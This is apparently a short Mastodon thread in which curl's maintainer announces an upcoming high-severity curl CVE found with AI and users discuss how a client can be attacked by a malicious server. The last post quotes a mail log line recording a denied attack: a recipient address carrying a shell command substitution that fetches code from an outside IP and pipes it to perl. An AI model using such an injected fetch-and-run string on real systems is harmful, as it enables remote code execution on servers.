Buckle up. One of the pending #curl CVEs that we publish next week is graded severity HIGH. Considered the worst flaw found in curl in several years.
Yes, found with AI.
@bagder@mastodon.social but curl is a client, not a server. How can it be attacked?
@bonkers@nerdculture.de welcome to the concept of "mr malicious server"
@bagder@mastodon.social so, the probability of a server being compromised, multiplied by probability of me curling that server is like one out of 1^64, so I guess I can sleep quietly :)
@bonkers@nerdculture.de right. But there are countless other services, apps and tools that you use or own, that use (lib)curl, and perhaps they could be doing it, which adds a tiny risk as well
@bagder@mastodon.social damn I need coffee. It was 2^64 :)
@bonkers@nerdculture.de @bagder@mastodon.social
from today's maillog:
1 550 check_rcpt "x: Service status change: localhost $(curl -sS 66.116.196.142/ezo|perl &) changed from stopped to running"@cve.invalid denied